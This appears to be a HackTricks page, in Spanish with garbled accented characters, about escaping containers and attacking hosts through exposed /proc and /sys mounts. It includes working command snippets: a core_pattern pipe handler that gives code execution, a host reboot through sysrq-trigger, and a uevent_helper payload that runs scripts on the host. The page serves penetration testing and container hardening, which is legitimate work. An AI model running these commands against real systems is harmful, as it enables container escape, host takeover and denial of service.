Sensitive Mounts

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

La exposici贸n de /proc y /sys sin un aislamiento adecuado de namespaces introduce riesgos de seguridad significativos, incluyendo la ampliaci贸n de la superficie de ataque y la divulgaci贸n de informaci贸n. Estos directorios contienen archivos sensibles que, si est谩n mal configurados o son accedidos por un usuario no autorizado, pueden llevar a la fuga de contenedores, modificaci贸n del host o proporcionar informaci贸n que ayude a ataques posteriores. Por ejemplo, montar incorrectamente -v /proc:/host/proc puede eludir la protecci贸n de AppArmor debido a su naturaleza basada en rutas, dejando /host/proc desprotegido.

Puedes encontrar m谩s detalles de cada posible vulnerabilidad en https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.

Vulnerabilidades de procfs

/proc/sys

Este directorio permite el acceso para modificar variables del kernel, generalmente a trav茅s de sysctl(2), y contiene varios subdirectorios de inter茅s:

/proc/sys/kernel/core_pattern

  • Descrito en core(5).
  • Permite definir un programa para ejecutar en la generaci贸n de archivos de n煤cleo con los primeros 128 bytes como argumentos. Esto puede llevar a la ejecuci贸n de c贸digo si el archivo comienza con un pipe |.
  • Ejemplo de Prueba y Explotaci贸n:
bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Probar acceso de escritura
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Establecer controlador personalizado
sleep 5 && ./crash & # Activar controlador

/proc/sys/kernel/modprobe

  • Detallado en proc(5).
  • Contiene la ruta al cargador de m贸dulos del kernel, invocado para cargar m贸dulos del kernel.
  • Ejemplo de Comprobaci贸n de Acceso:
bash
ls -l $(cat /proc/sys/kernel/modprobe) # Comprobar acceso a modprobe

/proc/sys/vm/panic_on_oom

  • Referenciado en proc(5).
  • Una bandera global que controla si el kernel se bloquea o invoca al OOM killer cuando ocurre una condici贸n OOM.

/proc/sys/fs

  • Seg煤n proc(5), contiene opciones e informaci贸n sobre el sistema de archivos.
  • El acceso de escritura puede habilitar varios ataques de denegaci贸n de servicio contra el host.

/proc/sys/fs/binfmt_misc

  • Permite registrar int茅rpretes para formatos binarios no nativos basados en su n煤mero m谩gico.
  • Puede llevar a la escalada de privilegios o acceso a shell root si /proc/sys/fs/binfmt_misc/register es escribible.
  • Exploit relevante y explicaci贸n:
  • Poor man's rootkit via binfmt_misc
  • Tutorial en profundidad: Video link

Otros en /proc

/proc/config.gz

  • Puede revelar la configuraci贸n del kernel si CONFIG_IKCONFIG_PROC est谩 habilitado.
  • 脷til para atacantes para identificar vulnerabilidades en el kernel en ejecuci贸n.

/proc/sysrq-trigger

  • Permite invocar comandos Sysrq, potencialmente causando reinicios inmediatos del sistema u otras acciones cr铆ticas.
  • Ejemplo de Reinicio del Host:
bash
echo b > /proc/sysrq-trigger # Reinicia el host

/proc/kmsg

  • Expone mensajes del b煤fer de anillo del kernel.
  • Puede ayudar en exploits del kernel, fugas de direcciones y proporcionar informaci贸n sensible del sistema.

/proc/kallsyms

  • Lista s铆mbolos exportados del kernel y sus direcciones.
  • Esencial para el desarrollo de exploits del kernel, especialmente para superar KASLR.
  • La informaci贸n de direcciones est谩 restringida con kptr_restrict configurado en 1 o 2.
  • Detalles en proc(5).

/proc/[pid]/mem

  • Interact煤a con el dispositivo de memoria del kernel /dev/mem.
  • Hist贸ricamente vulnerable a ataques de escalada de privilegios.
  • M谩s en proc(5).

/proc/kcore

  • Representa la memoria f铆sica del sistema en formato ELF core.
  • La lectura puede filtrar el contenido de la memoria del sistema host y otros contenedores.
  • Un tama帽o de archivo grande puede llevar a problemas de lectura o fallos de software.
  • Uso detallado en Dumping /proc/kcore in 2019.

/proc/kmem

  • Interfaz alternativa para /dev/kmem, representando la memoria virtual del kernel.
  • Permite la lectura y escritura, por lo tanto, la modificaci贸n directa de la memoria del kernel.

/proc/mem

  • Interfaz alternativa para /dev/mem, representando la memoria f铆sica.
  • Permite la lectura y escritura, la modificaci贸n de toda la memoria requiere resolver direcciones virtuales a f铆sicas.

/proc/sched_debug

  • Devuelve informaci贸n sobre la programaci贸n de procesos, eludiendo las protecciones del namespace PID.
  • Expone nombres de procesos, IDs e identificadores de cgroup.

/proc/[pid]/mountinfo

  • Proporciona informaci贸n sobre los puntos de montaje en el namespace de montaje del proceso.
  • Expone la ubicaci贸n del rootfs o imagen del contenedor.

Vulnerabilidades de /sys

/sys/kernel/uevent_helper

  • Usado para manejar uevents de dispositivos del kernel.
  • Escribir en /sys/kernel/uevent_helper puede ejecutar scripts arbitrarios al activarse uevent.
  • Ejemplo de Explotaci贸n: %%%bash

Crea una carga 煤til

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

Encuentra la ruta del host desde el montaje de OverlayFS para el contenedor

hostpath=$(sed -n 's/.\perdir=([^,]_).*/\1/p' /etc/mtab)

Establece uevent_helper en el ayudante malicioso

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

Activa un uevent

echo change > /sys/class/mem/null/uevent

Lee la salida

cat /output %%%

/sys/class/thermal

  • Controla configuraciones de temperatura, potencialmente causando ataques DoS o da帽os f铆sicos.

/sys/kernel/vmcoreinfo

  • Filtra direcciones del kernel, comprometiendo potencialmente KASLR.

/sys/kernel/security

  • Alberga la interfaz securityfs, permitiendo la configuraci贸n de M贸dulos de Seguridad de Linux como AppArmor.
  • El acceso podr铆a permitir a un contenedor deshabilitar su sistema MAC.

/sys/firmware/efi/vars y /sys/firmware/efi/efivars

  • Expone interfaces para interactuar con variables EFI en NVRAM.
  • La mala configuraci贸n o explotaci贸n puede llevar a laptops bloqueadas o m谩quinas host que no se pueden iniciar.

/sys/kernel/debug

  • debugfs ofrece una interfaz de depuraci贸n "sin reglas" al kernel.
  • Historial de problemas de seguridad debido a su naturaleza sin restricciones.

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks